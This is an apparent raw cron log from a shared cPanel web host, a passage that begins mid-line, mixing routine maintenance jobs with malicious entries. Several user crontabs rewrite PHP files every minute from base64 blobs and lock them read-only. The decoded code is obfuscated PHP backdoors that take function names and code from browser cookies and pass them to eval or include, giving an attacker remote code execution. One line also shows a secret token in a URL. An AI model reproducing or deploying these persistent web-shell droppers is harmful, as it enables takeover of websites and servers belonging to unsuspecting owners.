coNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:53:01 medusa CROND[22715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:53:02 medusa CROND[22873]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:53:02 medusa CROND[22874]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 05:53:02 medusa CROND[22875]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:53:02 medusa CROND[22876]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:53:02 medusa CROND[22891]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:53:02 medusa CROND[22892]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:53:02 medusa CROND[22893]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:53:02 medusa CROND[22896]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:53:02 medusa CROND[22897]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:53:02 medusa CROND[22898]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:53:02 medusa CROND[22906]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:54:02 medusa CROND[10309]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:54:02 medusa CROND[10379]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 05:54:02 medusa CROND[10378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:54:02 medusa CROND[10380]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:54:02 medusa CROND[10383]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:54:02 medusa CROND[10384]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:54:02 medusa CROND[10386]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:54:02 medusa CROND[10387]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:54:02 medusa CROND[10388]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:54:02 medusa CROND[10390]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:54:02 medusa CROND[10402]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:54:02 medusa CROND[10404]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 05:54:02 medusa CROND[10405]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:55:01 medusa CROND[27873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:55:01 medusa CROND[27900]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 05:55:01 medusa CROND[27940]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 05:55:01 medusa CROND[28050]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 05:55:02 medusa CROND[28137]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 05:55:02 medusa CROND[28144]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:55:02 medusa CROND[28145]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:55:02 medusa CROND[28146]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:55:02 medusa CROND[28147]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 05:55:02 medusa CROND[28148]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
